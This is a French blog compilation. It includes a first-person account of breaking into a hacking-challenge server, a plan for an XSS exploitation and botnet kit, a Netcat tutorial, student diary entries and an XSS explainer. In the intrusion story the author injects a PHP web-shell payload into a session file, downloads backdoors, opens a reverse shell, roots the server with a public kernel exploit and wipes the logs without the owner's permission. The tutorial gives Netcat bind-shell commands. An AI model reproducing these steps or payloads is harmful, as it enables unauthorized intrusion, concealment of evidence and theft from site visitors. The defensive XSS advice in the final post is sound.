Il était une fois une include non protégée…

Je me lance donc dans l’exploration de l’arborescence en récupérant quelques fichiers intéressants. Commepar exemple /proc/version, qui indique que le serveur tourne sous une Ubuntu basée sur un kernel 2.6.25. Je regarde également une partie de la configuration Apache dans /etc/apache2/apache2.conf, la liste des utilisateurs dans /etc/passwd. /etc/shadow est bien évidemment non accessible car Apache n’est pas lancé par le root. Mais sachant qu’un exploit touchant les Linux non patchés a récemment été publié,  je me dis qu’il doit certainement être possible de rooter le serveur à partir de là. Si j’arrive à exécuter des commandes sur le serveur avec les droits d’Apache, devenir root ne devrait pas être dur en utilisant cet exploit…

Je cherche donc un moyen d’utiliser la faille include pour pouvoir exécuter du code. Je pense en particulier à l’injection de commandes dans les logs Apache. Seul problème : ils ne sont lisibles que par le root, donc pas par Apache (il suffit de tester pour s’en rendre compte rapidement). Où vais-je donc pouvoir injecter mes commandes… ? Quels sont les fichiers manipulés par Apache et PHP dans lesquels on peut écrire indirectement et lire ensuite ? Sur le coup, je sèche…

…un site utilisant les sessions…

Là, Heurs et Virtualabs me donnent la réponse : les sessions PHP. En effet, PHP stocke les variables de session dans des fichiers (elles sont sérialisées) qui se situent dans /var/lib/php5/. Leur nom suit le format sess_$PHPSESSID où $PHPSESSID est l’identifiant de session qui est envoyé dans le cookie, donc facilement récupérable. Et, coup de chance, il se trouve que le challenge en question utilise les sessions pour stocker l’utilisateur courant et son mot de passe. Champs qui ne sont sont bien pas vérifiés lors de la soumission du formulaire

C’est parti ! Je crée un compte bidon avec quelque chose comme <?php system($_GET['c']); ?> pour le login. Je soumet, récupère le cookie contenant l’identifiant de session, et inclus le fichier de session correspondant. Et là, j’obtiens une jolie backdoor PHP sur le serveur. Rudimentaire, certes, mais fonctionnelle ! A partir de là, j’en conçois une légèrement plus élaborée, que je place sur un de mes serveurs, et que je fais télécharger au serveur victime avec un wget (suivi d’un mv). Je peux maintenant exécuter des commandes PHP à volonté, lire des fichiers sources, etc. Je récupère une autre backdoor permettant d’obtenir un remote shell sur ma machine. J’ouvre un port avec Netcat sur ma machine, j’upload et lance la backdoor, et le tour est joué.

… et un kernel non patché.

Je peux maintenant exécuter des commandes de façon interactive, mais toujours avec les droits d’Apache. Je télécharge un des exploits sock_sendpage de Milw0rm, le compile sur le serveur (gcc y était installé, cool), je lance l’exécutable généré, et bing ! Root sur le serveur . Comme mon but n’est pas de planter le serveur, je m’arrête ici. Enfin je prends quand même soin de supprimer toute trace de l’intrusion dans les logs. Et je garde un petit screenshot, pour envoyer au propriétaire du site, l’histoire de le prévenir. Bien entendu, pour envoyer le mail j’ai pris soin de créer un mail anonyme et de passer par un proxy, au cas où le propriétaire serait furax et menacerait de porter plainte… Heureusement, celui-ci est sympa ; il me répond rapidement et me remercie de l’avoir prévenu. Et vous savez le comble de l’histoire ? Ce serveur ne lui appartenait pas, il ne disposait pas lui-même des droits root

Conclusion

Je crois que cette histoire (vraie, pour ceux qui douteraient) illustre plutôt bien et de façon concrète la marche à suivre employée par un attaquant afin de prendre la main sur un serveur : exploitation d’une faille distante pour récupérer des informations, exécution de commandes dans le contexte du processus vulnérable, élévation de privilèges en utilisant un local root, et nettoyage des logs. De plus, cet exemple démontre que ce n’est pas parce que l’on a interdit l’inclusion de fichiers distant que l’on a un appel à include() sécurisé.

J’insiste enfin sur le fait que ce que j’ai réalisé ici était à la portée d’un script kiddie pour peu qu’il connaisse la faille, sache utiliser une backdoor PHP et compiler un exploit. Administrateurs de challenges de hack PHP, méfiez-vous : reproduire des applications vulnérables c’est bien, mais pensez à vous protéger un minimum pour éviter le pire…

[EDIT]

Le projet a subit de nombreux changements depuis la publication de ce billet. J’ai publié la première version du projet ici ; en attendant un tutorial vous pouvez retrouver des informations plus à jour dans ce billet. Gardez à l’esprit que les informations qui suivent (et particulièrement le jargon associé à l’outil ainsi que les fonctionnalités) ne sont plus complétement valides…

Le projet

XeeK, pour XSS Easy Exploitation Kernel, est un projet dont l’objectif est le suivant : démontrer la puissance de la XSS en proposant un outil pour exploiter facilement ce type de faille. Les premières idées qui ont engendré ce projet me sont venues cet été, mais c’est uniquement depuis quelques semaines que j’ai vraiment commencé à y travailler.

Un noyau et des modules

Certains me trouveront peut-être un peu ambitieux, mais mon but serait de faire de XeeK une sorte de Metasploit pour la XSS. Pour dire les choses autrement, l’objectif serait de proposer un framework, c’est à dire un ensemble de classes, ou de modules capables d’interagir ensemble. En fait, si le K de XeeK signifie kernel (noyau) c’est parce qu’il sera effectivement composé d’un noyau proposant les fonctionnalités génériques de base et d’une suite de modules qui pourront s’y greffer. Dans l’idéal, ces modules pourront être développés par n’importe qui. A titre de comparaison, considérez le noyau Linux et ses modules, ou bien Firefox et ses extensions.

Architecture

Concrètement, XeeK se composera d’une interface Web déployée sur un serveur appartenant à un attaquant, disons hacker.com. XeeK étant censé faciliter l’exploitation des failles XSS, il appartient à l’attaquant de découvrir ces failles ; je n’envisage pour le moment pas d’intégrer un scanner de ce type dans l’outil. Une fois une XSS trouvée sur un site quelconque, disons victime.com, l’attaquant pourra utiliser l’interface de XeeK afin de générer un exploit personnalisé et paramétrable. Après avoir défini l’exploit, celui-ci pourra être intégré à un lien piégé exploitant la XSS sur victime.com. Il ne restera plus à l’attaquant qu’à faire cliquer la victime sur ce lien…

Dans le jargon XeeK, l’attaquant commencera par créer une session, choisira sa ou ses victimes, et sélectionnera un scheduler, ou ordonnanceur. C’est ce composant qui déterminera comment les actions de l’exploit seront exécutées sur le navigateur de la victime. J’envisage pour le moment deux types de schedulers :

• Statique — toutes les actions de l’exploit seront définies à l’avance et intégrées « en dur » de façon définitive.
• Dynamique — l’exploit chargé sur le navigateur de la victime ne contiendra pas les actions proprement dit, mais un loader qui sera chargé de récupérer les actions sur le serveur XeeK (hacker.com) de façon dynamique et transparente. Ainsi, l’attaquant pourra modifier l’exploit et suivre la progression de la victime en temps réel.

Les actions exécutées chez les victimes seront susceptibles de retourner des résultats qui seront visualisables directement par le biais de l’interface. En fait, XeeK cachera l’aspect technique de l’exploitation et sera conçu pour simplifier au maximum les choses à l’attaquant. Plus précisément, l’attaquant aura devant lui une interface ressemblant à un debugger, à partir de laquelle il lance son exploit, observe sa progression et visualise les résultats. La différence avec un vrai debugger est que cet exploit sera exécuté sur les victimes et non sur sa propre machine…

Une application : BotNet

Puisque XeeK supportera plusieurs sessions en simultanée, chacune supportant elle-même plusieurs victimes, on en arrive à une des applications potentielles de l’outil : faire office de BotNet. Pour ceux qui l’ignorent, un botnet est un réseau de machines zombies contrôlable par un attaquant via un protocole quelconque. Ici, il s’agira de simples requêtes HTTP. La différence avec les « vrais » botnets est qu’ici, le code malveillant s’exécutera uniquement lorsque la victime aura son navigateur d’ouvert sur la page piégée.

Pour aider à la propagation du botnet, la possibilité la plus simple est d’utiliser une XSS permanente, c’est à dire quand l’injection de code est enregistrée en dur sur le site et affecte tous les visiteurs. Ainsi chaque visiteur tombant sur la page piégée rejoindra automatiquement le botnet à son insu et exécutera le même exploit que ses collègues. Tout cela grâce à une malheureuse petite XSS…

Imaginez qu’un site très connu et utilisé par des milliers de visiteurs soit vulnérable à une XSS permanente. Avec XeeK, il devient possible de lancer une attaque de masse contre tous les visiteurs de la page.

Fonctionnalités

Qu’est-ce que XeeK saura faire ? A vrai dire, les fonctionnalités définitives ne sont pas encore décidées (vu que les modules seront extensibles), mais voici un aperçu de ce que j’envisage.

• Furtivité du point de vue du visiteur (le site exploité continue à fonctionner sans problèmes).
• Exécution de code JavaScript arbitraire.
• Envoi de requêtes asynchrones (Ajax) vers le site vulnérable. Une des applications pourraît être d’exploiter des éventuelles failles XSRF (Cross Site Request Forgery).
• Envoi de requêtes asynchrones vers d’autres sites.
• Détournement de formulaire. Exemple : lorsque la victime remplit un des formulaires de la page, tout son contenu est envoyé sur hacker.com de façon transparente.
• Récupération de cookies.
• Récupération du contenu de la page (code HTML vu par la victime).
• Plus généralement, récupération de n’importe quelle variable accessible par JavaScript et DOM.
• Traceur de visiteur. L’exécution de l’exploit continue même si le visiteur change de page, chaque nouvelle page visitée étant loguée et accessible directement par l’attaquant.
• Simulation de clic sur des liens / boutons / n’importe quel élément graphique des pages.
• Fonctionne aussi bien en HTTPS qu’en HTTP ; cela ne change absolument rien.

Technologies

XeeK est pour le moment développé à l’aide de PHP, JavaScript, Ajax et MySQL. Bien entendu, les langages liés tels que CSS et HTML sont également utilisés à foison. Pour ce qui est de la compatibilité des navigateurs, pour être sincère je n’ai encore utilisé que Firefox. Soyons honnête ; je ne suis ni designer ni un pros des subtilités de chaque navigateur. Mais je tiens à préciser qu’avant d’effectuer une release, je ferais mon possible pour au moins que la partie « victime » de l’outil fonctionne sur IE qui est toujours, il faut le rappeler, le navigateur le plus utilisé. Je vise au moins IE7, peut-être IE6 mais il ne faut peut-être pas trop en demander pour une 1ère release

Release

Je sens venir la question « Quand XeeK sera-t-il publié ?« . Je n’ai malheureusement pas encore de réponse pour le moment. XeeK est encore au stade de prototype même si plusieurs fonctionnalités marchent déjà bien. Il me reste à concevoir la partie interface de l’outil, améliorer deux/trois petites choses, tester la partie exploitation sous IE… Comme vous pouvez vous en douter je ne travaille pas sur ce projet à plein temps, j’ai aussi des études. Pour donner une estimation, j’espère pouvoir publier une première release avant 2009. Mais cela ne constitue pas une garantie… En effet, je préfère prendre mon temps pour bien faire les choses, plutôt que de sortir quelque chose de bancal le plus vite possible. Au pire, je sortirais une alpha ou béta avant sa vraie sortie.

XeeK sera publié sous license GPL (2 ou 3). En d’autres termes, n’importe qui pourra utiliser, développer et améliorer l’outil à condition qu’il publie ses travaux également sous GPL.

Click and hack

Certains me reprocheront peut-être :

Tu n’as pas honte, de mettre à disposition des scripts kiddies un outil aussi dangereux, où il suffit de cliquer pour pirater ?

Je leur répondrai tout simplement non pour plusieurs raisons :

• Il existe des outils similaires encore lus puissants et plus simples à utiliser. Exemple : Metasploit. Personne ne se plaint de cet outil (enfin pas à ma connaissance) alors qu’il permet de rooter une machine sans aucune connaissance technique. C’est un outil utilisé par des professionnel pour le penetration testing.
• Cet outil n’est pas plus « dangereux » que les possibilités offertes par la faille XSS. Il essaye juste d’utiliser ces possibilités au maximum.
• En sortant cet outil et en le faisant connaître, j’espère faire prendre conscience à plus d’un que les failles XSS sont vraiment dangereuses, ce qui semble ne vraiment pas encore être le cas.

Sur ce, je crois que j’ai tout dit… Je vais continuer le développement de ce projet en espérant ne pas mettre trop de temps à le publier. Si vous avez des questions ou suggestions, les commentaires sont là pour ça !

Netcat : Le couteau-suisse TCP/UDP

Netcat est disponible pour Linux et Windows et permet basiquement d’ouvrir un flux TCP ou UDP entre deux machines. On pourrait considérer Netcat comme un wrapper pour les primitives d’ouverture de sockets du système d’exploitation. En une ligne de commande, il est possible de créer un serveur écoutant sur un port, ou bien se connecter à un port d’une machine distante. Quelques exemples… Sur une première machine d’adresse IP 192.168.0.1, tapez :

nc -l -p 12345

Et dans une autre d’ip 192.168.0.2, tapez :

nc 192.168.0.2 12345

Tapez quelque chose dans une des consoles, suivi d’un retour à la ligne ; ce que vous tapez apparaîtra dans l’autre console. La 1ère ligne ouvrir un serveur en écoute sur le port 12345 de votre machine, et la 2ème vous permet de vous y connecter. Une fois la connexion établie, tout ce qui entre dans un des processus ressort par l’autre : vous venez d’établir un flux bi-directionnel entre les deux.

La puissance de Netcat vient du fait qu’à la manière de l’outil cat d’Unix/Linux, il écoute sur l’entrée standard et écrit sur la sortie standard. Il est donc possible de combiner les fonctionnalités réseau de Netcat avec la puissance du shell et des outils de communications interprocessus des environnements Unix/Linux. Par exemple, vous pouvez piper l’entrée ou la sortie de Netcat, la rediriger dans un fichier… Quelques exemples simples :

• nc -l -p 12345 < fichier.txt vous permet de créer un serveur en écoute sur le port 12345 de votre machine. Tout client qui s’y connectera recevra le fichier fichier.txt. Cela vous permet d’envoyer des fichiers en réseau.
• commande | nc -l -p 12345 vous permet d’exécuter une commande shell et d’envoyer le résultat au client qui se connectera au serveur.
• De façon similaire, nc -l -p 12345 | commande permettra au client d’envyoer des données à une commande lancée sur le serveur. commande peut être /bin/bash, ce qui vous permettra d’exécuter des commandes à distance sur le serveur ! Petit bémol cependant : le client ne verra pas le résultat de la commande, puisque les pipes sont des tubes directionnels.
• Pour remédier à cela, il existe une technique utilisant les tubes nommés (named pipes) d’Unix: créez un tube nommé avec la commande mkfifo /tmp/tube_test puis lancez la commande nc -l -p 12345 < /tmp/tube_test | /bin/bash > /tmp/tube_test. Le client peut désormais s’y connecter avec nc <IP> 12345, taper des commandes et observer le résultat ! Voila comment obtenir une backdoor à moindre coût sur un système

Netcat n’est bien entendu pas limité à se connecter à un autre Netcat ! Vous pouvez tout à fait vous en servir pour vous connecter à un service existant et dialoguer avec lui. Par exemple, en se connectant sur le port 25 d’un serveur SMTP il est facile d’envoyer un mail.

Netcat peut aussi être utilisé pour faire de la récupération de bannières applicatives (banner grabbing). Connectez-vous sur le port 22 d’un serveur SSH : vous obtenez le nom du serveur avec sa version exacte. Idem pour tous les autres services… C’est en utilisant cet outil qu’on réalise à quel point certains services sont bavards. Pour vous en persuader, connectez-vous à un serveur Apache avec PHP configuré par défaut, envoyez une simple requête HTTP et observez la réponse ; il y a des fortes chances qu’Apache vous révèle son numéro de version, celles de PHP, ainsi que les modules lancés.

Maintenant, rajoutez à cela toute une foule d’options, et vous obtenez la réelle puissance de Netcat !

• L’option -c permet de spécifier une commande à lancer et à laquelle se connecter ensuite. En d’autre termes, Netcat va relier sa sortie à l’entrée de cette commande, et relier la sortie de la commande à sa propre entrée. Exemple : nc -l -p 12345 -c /bin/bash est la version courte de notre dernier exemple, car cela crée automatiquement un serveur qui enverra toutes les entrées à /bin/bash et renverra tous les résultats au client. Mais il y a encore plus fort : vous pouvez utiliser une autre instance de Netcat comme ceci :

• Lancez sur une première machine IP_A un serveur sur le port 12346 : nc -l -p 12346
• Sur une deuxième machine IP_B, lancez nc -l -p 12345 -c ‘nc <IP_A> 12346′ afin d’ouvrir un serveur sur le port 12345 de la machine et de le relier au serveur de la 1ère
• Sur une troisième machine, connectez-vous au 2ème serveur avec nc <IP_B> 12345. Tout ce que vous tapez est transmis à la 2ème machine qui retransmet le tout à la 1ère, et vice-cersa pour le retour. En gros, la 2ème machine fait office de proxy, ou bouncer. Le serveur final (1ère machine) ne verra jamais l’adresse IP du client.

• Par défaut, Netcat utilise TCP. L’option -u permet dele fiare basculer en mode UDP.
• Par défaut, Netcat essaie de résoudre les DNS. Pour éviter cela en réseau local si vous n’utilisez que des adresses IP, utilisez l’option -n.
• L’option -z permet de fermer la connexion juste après qu’elle ait été ouverte. En fait, cela permet de juste tester si un port est ouvert sans envoyer de données. En scriptantun minimum, il deviant facile de concevoir son propre scanner de port !

Il existe bien d’autres flags, à vous de les découvrir via l’aide (-h) ou le manuel (man nc).

Cryptcat : Netcat en crypté

Si vous lancez Wireshark sur vos machines, vous vous apercevrez que vous pouvez tout à fait lire les données envoyées par Netcat. Pour remédier à cela, utilisez Cryptcat à la place de Netcat ! Cet outil s’utilise exactement comme Netcat mais encrypte le traffic grâce à un algorithme de chiffrement symétrique. La clé de chiffrement est par défaut metallica mais peut être changée avec l’option -k. Attention, lisez bien l’aide ou le manuel avant d’utiliser Cryptcat car certaines versions ne supportent pas certains flags de Netcat.

Socat : Relai bidirectionel

Socat (uniquement pour Linux/Unix) vous permet d’établir non pas une mais deux connexions à la fois et de les relier. Cet outil possède une quantité phénoménales d’options qui lui permettent de réaliser des opérations complexes de façon triviale. Socat est capable de lire/écrire dans tous types de flux, aussi bien réseau (TCP, UDP avec IPv4 et IPv6, SSL…) que systèmes (fichiers, file descriptors, pipes, terminaux virtuels, processus…). Comme exemple, recréons un bouncer mais cette fois-ci avec Socat :

socat TCP4-LISTEN:<port_source> TCP4:<IP_cible>:<port_cible>

N’est-ce pas déconcertant de simplicité ? Et gardez à l’esprit que ce n’est qu’une des possibilités… Tapez dans l’aide pour la liste exhaustives des options supportées.

Netcat, Cryptcat et Socat : l’attirail obligatoire pour le réseau

En résumé, Netcat permet d’exécuter les opérations réseau de base, Cryptcat rajoute une couche de chiffrement à ces flux, et Socat permet de les relier de façon bidirectionnelle. Munis de ces outils, il devient très facile de manier les couches réseau. Outre l’aspect « bidouillage », ils permettent de tester rapidement le fonctionnement de certains services. En les combinant à des outils comme Nmap et TCPDump, et en développant un minimum de petits scripts, il est possible de coder des outils vraiment puissants. Bref, j’espère vous avoir convaincu d’adopter ces outils

Week-end : cell phone mission

Jeudi midi, une fois mon cours de base de données terminé, je suis en week-end. Après avoir déjeuné à Crossroads (un resto non loin du collège d’informatique) avec d’autres Frenchies, nous décidons de partir en expédition dans le but d’acheter des téléphones portables ! Car il faut l’avouer : ici, si on n’a pas de portable, c’est la loose. Skype est très pratique pour communiquer entre amis lorsqu’on est chacun chez soi, mais quand on est sur le campus, c’est une autre paire de manches. Le campus est tellement grand que l’on n’a quasiment aucune chance de croiser la personne que l’on cherche.

Après avoir un peu recherché sur Internet, nous concluons que l’offre qui nous conviendrait le mieux est « Pay as you go« . Pour faire simple, il s’agit de l’équivalent des cartes de recharges en France. Nous repérons une offre de T-Mobile qui a l’air intéressante : pour $30, on a un portable avec une carte de $25 gratuite, le tout étant livré gratuitement à domicile. Cependant, impossible de commander en ligne ; la commande échoue au dernier moment, suite à une erreur inconnue. Nous avons essayé de les contacter, mais leur site est tellement bien fait que leur formulaire d’envoi de mail ne fonctionne pas non plus.

Motivés, nous décidons de nous rendre dans l’agence la plus proche. Nous prenons un bus qui nous dépose à Southtown Plaza, une galerie commerciale. Après une petite reconnaissance, aucune boutique T-Mobile en vue. Nous demandons donc à des commerçants, qui nous indiquent que la boutique la plus proche est en fait au Marketplace Mall, centre commercial qui est très proche quand on a une voiture, mais pas si proche que ça quand on est à pieds… Nous avons donc l’occasion de vérifier une deuxième vérité : ici, si on n’a pas de voiture, c’est la loose (à peu près autant que quand on n’a pas de portable, en fait).

Après une vingtaine de minutes de marche, nous parvenons dans la galerie marchande du Mall. Là, nous repérons une boutique T-Mobile, et nous demandons conseil au vendeur. Celui-ci nous explique que cette boutique ne fait pas l’offre que nous voulons, mais qu’il y en a une autre qui la fait dans la même galerie. Nous y allons donc, et une fois à l’intérieur, on nous explique que l’offre que nous avions vue n’est en fait disponible que sur Internet… En fait, ils la font aussi ici, mais sans la carte gratuite. Nous jetons un coup d’oeil, et nous trouvons un portable à 20$, le plus basique qui soit. Au niveau des cartes de recharges, il y a plusieurs tarifs, de $20 à $200, suivant le nombre de minutes disponibles. Au passage, on nous explique aussi qu’aux USA, votre crédit est aussi débité quand on vous appelle, et même quand vous consultez votre messagerie vocale… Mais bon, nous n’avons pas trop le choix, donc nous optons tous pour cette solution, en achetant le portable ainsi qu’une carte de $50. On se retrouve alors avec 7h de crédit d’appel/réception à utiliser en 3 mois, sachant que le crédit inutilisé est reporté si on recharge avant la date limite. Bref, le principal est que nous avons désormais chacun un portable !

Computer System Security

Lundi, reprise à 8h30 avec sécurité informatique. Bonne nouvelle, je me rends compte que la lecture du livre et son compte rendu n’est pas à faire pour les étudiants undergraduate comme moi, c’est toujours ça de moins à faire. Le prof continue son introduction sur la sécurité, et insiste sur le fait que dans une entreprise, la véritable menace vient de l’intérieur : c’est très souvent les employés mécontents qui sont scusceptibles de crasher le réseau, plutôt que des attaquants externes.

Pendant la séance de lab, nous nous remettons par groupes pour préparer la compétition (celle au cours de laquelle nous allons devoir pirater les autres groupes). Avec mon équipe, nous décidons des systèmes d’exploitation et des logiciels que nous allons mettre en place sur nos machines. Petit détail qui ne nous facilite pas la tâche : le réseau étant totalement déconnecté d’Internet pour éviter la propagation des attaques, il est difficile de télécharger les mises à jour des différents programmes que nous allons utiliser… Nous répartissons les tâches; pour ma part elle consistera à installer le serveur Web (avec HTTPS), le sécuriser, et créer un mini site web factice, le but étant de fournir un point d’accès supplémentaire aux autres équipes.

Cryptography

En cryptographie, nous avons un homework à rendre pour le vendredi qui suit. Pour ceux que ça intéresse, parmis les questions posées, il est demandé de décryter le texte suivant :

NAGQNXIIZAGBGIIYXQOMQUGQUZAXTNGMYXQGTTASNISQO
AMFGZAGEZVOOGUZAGIGMTAMQUTZYMXQGUMCMYZDECMLWS
RVQYVIEASVQUTXLMQQSZTZMYZZAGDMOMXQSQMPVMYYESR
WQSNIGUOGZAGEAMZGZSAVQZXLMQAMVIZAGDMQUVYOGZAG
DQSDSYGQSDSYGLMQXGQUVYGZSBGMYZAGBYVQZSRZAGBSS
WTZAMZIXGSVZSQZAGUGTWTMRVIIZAYGGTLSYGSRTGFGYM
IXQTVIZTSRBISZZGUCMOGTMQUTLYMNISRTISFGQIENSYW
ZAMZZAGEAMFGSRRGYGUDGXMDTXLWMQUZXYGUDSYGZAMQM
QEZAYMIIVCSQZAGNSSUTZMLWTNSYWXQONGMYXGUIE

Deux indices :

• Il s’agit d’un chiffrage par substitution monoalphabétique, autrement dit chaque lettre du texte crypté correspond en réalité à une autre lettre.
• Le texte original est en Anglais.

Allez, un petit effort, il n’y a que 26! = 403291461126605635584000000 possibilités… Mais pour nous aider, nous sommes libres d’utiliser quelques astuces ainsi que le langage de programmation de notre choix ; pour ma part j’ai choisi Python. Je m’acharne un peu dessus, et au bout de quelques heures, j’en viens enfin à bout. Je donnerais la solution plus tard pour ceux qui souhaitent chercher eux mêmes . Pour ceux qui en veulent encore, je peux leur donner le deuxième texte que nous avions à décrypter, cette-fois çi en Hollandais…

Au niveau des cours, ils sont assez intéressants. Nous finissons la série des cryptosystèmes classiques tels que Hill et Vigenère, puis nous entamons RSA (un des plus utilisés de nos jours) à la fin de la semaine.

Pour ceux qui sont vraiment motivés, je pourrais vous filer mon homework de chaque semaine, si vous voulez le faire à ma place… Non, je plaisante, je ne voudrais surtout pas enfreindre le règlement du RIT ! En effet, ici ils ne plaisantent pas : tricher ou copier le travail d’un autre est puni d’un F, qui est la pire note (l’équivalent d’un 0 chez nous).

Database System Implementation

Lorsque nous arrivons en cours de bases de données, le professeurs procède au tirage au sort pour la composition des groupes de projet. Je me retrouve avec 2 américains, qui ont l’air plutôt motivés pour faire du C/C++, comme moi. Il faut ensuite choisir quel système de base de données reprendre. Nous partons sur PostgreSQL, mais après quelques concertations, nous changeons d’avis et décidons que nous allons plutôt travailler avec MySQL, qui a l’air plus simple et mieux documenté.

Le travail va consister à récupérer son code source, l’analyser pour comprendre son fonctionnement. Nous devrons ensuite proposer 3 améliorations, puis nous les ajouter au code source, pour finir avec une démonstration et la rédaction d’un rapport de projet.

Niveau cours, nous commençons par parler des moyens de stockage de données. Nous voyons le fonctionnement des disques durs, avec un jargon (plateau, piste, cylindre, secteur…) qui me rappelle étrangement ce que nous voyons en cours de Système à l’INSA. Nous en venons ensuite à la structure des fichiers contenant les tables des bases de donnée, en abordant l’indexation des blocs de données. Cela me rappelle beaucoup certaines parties du cours de Base de Données de 4INFO, mais en plus condensé. En tout cas, j’en profite pour enrichir mon vocabulaire anglo-saxon.

De nouveau en week-end

Et voila, ma semaine est déjà finie. J’ai déjà quelques soirées de prévues, dont un resto — je vais tester Buffalo Wild Wings, qui a l’air d’être assez connu ici —, un ciné @ RIT (ils projettent The Kingdom ce soir en amphi), ainsi qu’une super French Crêpes Party organisée par tous les INSAliens exilés au RIT. Il ne faudra quand même pas que j’oublie de travailler, pour éviter de prendre trop de retard dans mes projets…

J’ai justement décidé de rédiger ce billet afin de sensibiliser les lecteurs aux véritables dangers qui se trouvent dans la face cachée de cet iceberg qu’est la faille XSS. Comme mon but n’est pas d’aider les script-kiddies à exploiter cette faille, je ne donnerai pas de code ni d’exploit tout fait. Je suppose que les lecteurs ayant quelques connaissances en JavaScript pourront tester eux-mêmes et vérifier la véracité de mes propos…

Les « vraies » possibilités de la XSS

Pour comprendre les enjeux qui se cachent derrière la faille XSS, revenons à la base : qu’est-ce qu’une XSS ? Les initiales XSS signifient Cross Site Scripting, le C ayant été remplacé par le X du fait que CSS signifie déjà Cascade Style Sheets. La faille XSS permet à un attaquant potentiel d’exécuter du code (un script) sur le navigateur du client. Elle apparaît quand un site Web affiche des variables provenant d’une entrée utilisateur sans les filtrer. Ainsi, le simple code PHP suivant est vulnérable :

<?php
echo $_GET['var'];
?>

En effet, un attaquant visitant cette page contrôle directement (par le biais de l’URL) le contenu de la variable $_GET['var']. Il peut alors insérer du code HTML ou JavaScript, et il s’exécutera comme s’il faisait partie du site Web.

Quel intérêt ? Tout simplement le fait de pouvoir manipuler un visiteur en lui donnant un lien piégé. En cliquant sur un lien exploitant la faille XSS, le navigateur du visiteur va afficher le code HTML du site et exécuter le code JavaScript. Cela permet alors de récupérer des informations propres au visiteur, puisque tout le code est exécuté comme s’il provenait du site original. En effet, il faut savoir que si un site X envoie par exemple un cookie à un visiteur, le site Y ne pourra pas le lire. Le fait que la XSS permette d’injecter un script malveillant directement dans le code envoyé par X va donc autoriser ce script à récupérer des informations telles que des cookies.

Mais la récupération de cookie est loin d’être la seule possibilité des XSS. A vrai dire, la XSS offre absolument toutes les possibilités qu’offre JavaScript, puisqu’elle permet l’exécution de code JS arbitraire sur le navigateur. Citons quelques exemples :

• Vol de cookies, détournement de session
• Accès aux mêmes privilèges que la victime
• Accès au contenu de pages protégées (du moment que la victime peut y accéder)
• Exécution de requêtes arbitraires en se faisant passer pour la victime
• Espionnage de la victime, récupération de toutes les actions effectuées telles que les pages visitées, les saisies dans les formulaires — qui contiennent au passage probablement des mots de passe
• Ouverture de fenêtres de téléchargement de logiciels (pouvant être des spywares, trojans, rootkits…) lorsque la victime surfe sur ce site auquel elle fait confiance — et par conséquent, baisse sa garde

Il faut bien comprendre que la faille XSS permet à l’attaquant d’avoir un accès direct au navigateur de la victime, et qu’il peut alors absolument tout faire sur le site en se faisant passer pour la victime. Si la victime est par exemple un utilisateur lambda d’un forum, l’attaquant pourra poster des messages sous son nom, modifier son profil, et même dans certains cas changer son mot de passe. Si la victime est l’administrateur du forum, je vous laisse imaginer les possibilités offertes…

Attention, il faut cependant bien voir que la XSS ne permet pas l’élévation de privilèges au delà de ceux de la victime, autrement dit un attaquant ne pourra pas faire plus que ne le peut sa victime. Par exemple, s’il piège un utilisateur lambda du forum, il ne pourra pas effectuer des tâches d’administration — à moins bien sûr qu’une autre faille soit présente sur le site.

Est-ce difficile à exploiter ?

Non ! Et c’est une raison de plus pour prendre au sérieux la menace réelle que constitue cette faille ! Concrètement, il suffit d’avoir quelques connaissances en JavaScript pour pouvoir exploiter une faille XSS sur un site de base non protégé. De plus, la popularité grandissante d’Ajax offre encore de nouvelles possibilités, puisque l’objet XMLHttpRequest permet d’effectuer des requêtes asynchrones sur le serveur. Cela permet d’effectuer des requêtes en se faisant passer pour la victime tout en restant invisible. Et même si Ajax ne permet pas d’effectuer de requêtes sur un autre serveur (les requêtes sur des serveurs autres que celui visité ne sont pas permises par le navigateur), il existe une technique permettant de passer outre et d’effectuer des requêtes cross-domain de façon détournée. Il devient alors possibles d’envoyer des requêtes sur un site distant, comme par exemple le site Web de l’attaquant.

Ainsi, en ayant un minimum de connaissances JavaScript, il est possible de concevoir un exploit permettant de dumper un site Web vers une base de données contrôlée par l’attaquant, tout en se faisant passer pour un visiteur et donc en ayant accès à toutes les pages qu’il peut voir. Ainsi, même si l’attaquant n’a aucune connaissance au préalable d’un site Web et des éventuelles zones à accès réservés, il peut étudier ces dumps en off-line de façon totalement invisible puisqu’il ne consulte jamais le serveur directement. Il pourra alors mettre au point un second exploit qui lui permettra par la suite d’effectuer véritablement l’attaque en effectuant des requêtes pour le compte de la victime.

Les techniques qui ne protègent pas un site contre les XSS

Les pratiques suivantes ne protègent en rien un site Web contre les XSS :

• Vérification les IP des visiteurs authentifiés — inutile puisque le code est exécuté par la victime !
• Protections par .htaccess — inutile puisque si la victime est authentifiée, la requête forgée pourra être exécutée
• Utilisation de HTTPS — ne change absolument rien, JavaScript et Ajax fonctionnent très bien en HTTPS…

Attention, je n’ai pas dit que ces mesures de protections étaient complètement inutiles ; juste que dans le cas de la XSS, elles le sont.

La seule solution pour en finir avec les XSS

On ne le répétera jamais assez, il faut filtrer toutes les entrées utilisateur, en particulier celles que l’on affiche sur le site. Cela est valable pour toutes les variables envoyées par GET, POST, récupérées via les cookies, et plus généralement tout ce qui transite dns les requêtes HTTP, comme les entêtes (dont le célèbre X-Forwarded-For) donc même certaines variables du tableau $_SERVER de PHP. Pour être efficace, la fonction de filtrage doit :

• Remplacer les caractères spéciaux par leurs entités HTML correspondantes
• Supprimer toutes les balises HTML (dont <script>)

En fait, le deuxième point est inclus dans le premier, puisque les caractères < et > sont spéciaux et peuvent donc être remplacés.

En PHP, pour sécuriser efficacement les entrées utilisateurs contre les XSS, il faut utiliser la fonction htmlentities() en n’oubliant pas de lui passer la constante ENT_QUOTES en deuxième argument afin de considérer les guillemets simples et doubles comme des caractères spéciaux et de les remplacer elles aussi. Un exemple :

<?php
echo htmlentities($_GET['var'], ENT_QUOTES);
?>

Ainsi ce code est sécurisé, contrairement au premier. L’utilisation de cette fonction permet de sécuriser des variables affichées aussi bien entre des balises que dans des valeurs d’attributs de balises, comme c’est le cas dans des champs de formulaires. En effet, comme les caractères <, >, ‘ et  » sont filtrés, il est impossible de s’évader des champs et d’injecter du code JavaScript.

Il s’agit à ma connaissance de la seule protection valable pour sécuriser une variable contre les XSS dans toutes les conditions. L’utilisation d’autres fonction, comme par exemple striptags(), ne suffit pas dans toutes les conditions puisques les guillemets ne sont pas filtrées, laissant la possibilité d’injecter des attributs supportant le JavaScript comme onload, onmouseover, etc.

La XSS, une faille finalement pas si inoffensive que ça…

